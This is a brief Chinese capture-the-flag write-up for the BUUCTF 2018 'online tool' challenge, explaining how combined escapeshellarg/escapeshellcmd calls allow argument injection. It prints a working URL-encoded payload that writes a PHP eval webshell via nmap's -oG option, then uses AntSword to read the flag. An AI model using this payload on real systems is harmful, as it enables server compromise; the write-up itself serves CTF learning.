BUUCTF 2018 在线工具

打开容器

代码审计发现escapeshellarg escapeshellcmd 两个函数具体不是很懂但是大概了解的是这两个函数会产生一个漏洞具体可看PHP escapeshellarg()+escapeshellcmd() 之殇 (seebug.org)这篇文章https://paper.seebug.org/164/

然后试着写入一句话木马传参http://ab2ba401-3cd1-40c1-9022-cb5e61304c94.challenge.qsnctf.com:8081/?host=%27%20%3C?php%20@eval($_POST[%22hack%22]);?%3E%20-oG%20hack.php%20%27%20?host=\%27%20%3C?php%20@eval($_POST[%22hack%22]);?%3E%20-oG%20hack.php%20\%27%20//escapeshellarg()%E6%89%A7%E8%A1%8C%20?host=%27%27\\%27%27%20\%3C\?php%20\@eval\(\$_POST\[%22hack%22\]\);\?\%3E%20-oG%20hack.php%20%27%27\\%27%27 ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

写入之后会回显地址 

 然后进入链接

发现传输成功然后用蚁剑连接

打开虚拟终端

cat /flag

得到flag

参考文章https://www.cnblogs.com/oldliutou/p/15785396.html